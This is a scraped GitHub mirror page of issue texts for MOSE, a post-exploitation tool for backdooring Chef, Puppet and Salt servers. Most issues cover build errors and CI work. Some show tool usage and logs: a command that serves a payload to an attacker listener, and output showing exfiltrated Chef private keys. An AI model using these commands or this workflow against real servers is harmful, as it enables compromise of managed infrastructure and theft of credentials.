master-of-servers / mose Goto Github PK
View Code? Open in Web Editor NEWPost exploitation tool for configuration management servers.
License: Other
Post exploitation tool for configuration management servers.
License: Other
The pipeline should also test functionality for uploading scripts and running them in chef.
ImageName is currently set in main.go
. It should be modified to be a part of the json config that we provide.
Create linux-based release using azure pipeline
Generate puppet and chef payloads to ensure CreateAgent() is in place in order to avoid throwing off tests
Dependabot can't resolve your Go dependency files.
As a result, Dependabot couldn't update your dependencies.
The error Dependabot encountered was:
github.com/master-of-servers/mose/cmd: cannot find module providing package github.com/master-of-servers/mose/cmd
If you think the above is an error on Dependabot's side please don't hesitate to get in touch - we'll do whatever we can to fix it.
All references to files associated with the l50 fork should be changed to master-of-servers.
Exported functions (functions that start with a capital letter) should have unit tests.
The knife template has variables that can be omitted.
This should encompass how to use two of the CM tools that will be shown in the README.md
.
Add to EXAMPLES.md
It is presently set to /root/.definitelynotevil. Ideally, we would like this to get input from the uploadFilePath parameter specified in settings.json
The following comes up after we exfil from the chef-server in the test lab:
./mose -c "touch /tmp/BLA && echo test >> /tmp/BLA" -t chef -l <my local ip> -ep 9090 -rhost chef
server:10.42.42.10
Generating chef payload to run touch /tmp/BLA && echo test >> /tmp/BLA on a linux system, please wait...
Payload being served at http://<my local ip>:8090/chef-linux for 60 seconds
Web server shutting down...
Is your target a chef workstation?[Y/n/q]
n
Is your target a chef server?[Y/n/q]
Y
2019/10/06 12:25:59 Creating folder keys
Listener being served at http://<my local ip>:9090/chef-linux for 30 seconds
2019/10/06 12:26:14 Successfully uploaded my_org
2019/10/06 12:26:14 Successfully uploaded admin.pem
2019/10/06 12:26:14 Successfully uploaded my_org-validator.pem
Web server shutting down...
2019/10/06 12:26:29 New orgname: my_org
2019/10/06 12:26:30 walking dockerfiles/notasevil: dockerfiles/notasevil: stat: stat dockerfiles/notasevil: no such file or directory
Create test that will be run with the azure pipeline. This will serve as the foundation for future testing.
Add a script that would allow a user to stand up a chef workstation with exfilled files
You get this error:
%!s(<nil>) error="error during connect: Post \"http://%2Fvar%2Frun%2Fdocker.sock/v1.37/exec/bc40be7095625114b1029c6821c2759532ed6fc81c2d6d6675fc09ba37800799/start\": net/http: HTTP/1.x transport connection broken: unsupported transfer encoding: \"identity\""
Evidently this is a problem that has not been diagnosed that's mac specific (most likely with the docker for mac app).
Original thread: golang/go#40735
It is presently set to /root/.definitelynotevil. Ideally, we would like this to get input from the uploadFilePath parameter specified in settings.json
Currently MOSE will backdoor all the things. Sometimes you want to see all the options and pick them. I believe simply adding a check like we do for the tasks/hosts would be great.
Cloning to go directory and running make build
results in a packrd error.
go get -u github.com/gobuffalo/packr/v2/packr2
go: finding github.com/gobuffalo/packr v1.30.1
go: downloading github.com/gobuffalo/packr v1.30.1
go: extracting github.com/gobuffalo/packr v1.30.1
go: downloading github.com/spf13/cobra v0.0.5
go: downloading golang.org/x/tools v0.0.0-20191101200257-8dbcdeb83d3f
go: downloading golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e
go: extracting golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e
go: extracting github.com/spf13/cobra v0.0.5
go: downloading github.com/spf13/pflag v1.0.5
go: downloading github.com/inconshreveable/mousetrap v1.0.0
go: extracting github.com/inconshreveable/mousetrap v1.0.0
go: extracting github.com/spf13/pflag v1.0.5
go: extracting golang.org/x/tools v0.0.0-20191101200257-8dbcdeb83d3f
go: finding github.com/inconshreveable/mousetrap v1.0.0
go: finding github.com/konsorten/go-windows-terminal-sequences v1.0.2
go: finding golang.org/x/sync latest
go: finding golang.org/x/crypto latest
go: finding golang.org/x/tools latest
go: finding golang.org/x/sys latest
go: finding github.com/spf13/pflag v1.0.5
go: finding github.com/spf13/cobra v0.0.5
export GO111MODULE=on
go get
go: finding github.com/master-of-servers/MOSE latest
build github.com/master-of-servers/mose: cannot load github.com/master-of-servers/MOSE/packrd: module github.com/master-of-servers/MOSE@latest (v0.0.0-20191006202358-4fe512b9db87) found, but does not contain package github.com/master-of-servers/MOSE/packrd
make: *** [Makefile:4: build] Error 1
I also noticed this repo still references l50/mose in it's go mod. Not sure if that is an issue or not.
Set up Azure Pipelines with MOSE.
The environment should be set up to adhere to best practices and standards.
This variable is only currently used for chef - should we change to a more chef-specific name?
CI/CD for Chef
The script actually needs to be in the payloads/ directory in MOSE in order for it work:
./mose -fu ${PWD}/payloads/evil.sh -t puppet -f ${PWD}/payloads/puppet-linux -d
The pipeline should also test functionality for uploading scripts and running them in puppet.
Currently, if you input an agent that doesn't exist, the program will proceed with the input and error out. We should check if the input system is in the list of chef agents found by MOSE.
https://github.com/l50/mose/blob/master/cmd/mose/puppet/main.go#L180 - needs to be replaced with a variable.
This will come from
Line 13 in ccdd786
The exfil endpoint waits for 30 seconds before continuing on after transferring assets. Once a successful transfer occurs, the endpoint should shut down, similar to the webserver that we stand up to transfer the MOSE payload
Needs to be done to achieve uniformity in testing environments and for the Azure Pipeline.
A contributor has expressed that it would be nice to mention that the payload MOSE generates needs to be transferred via the webserver or through a mechanism the operator chooses.
Add the ability to run arbitrary commands and files against a Salt Master.
A declarative, efficient, and flexible JavaScript library for building user interfaces.
๐ Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. ๐๐๐
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google โค๏ธ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.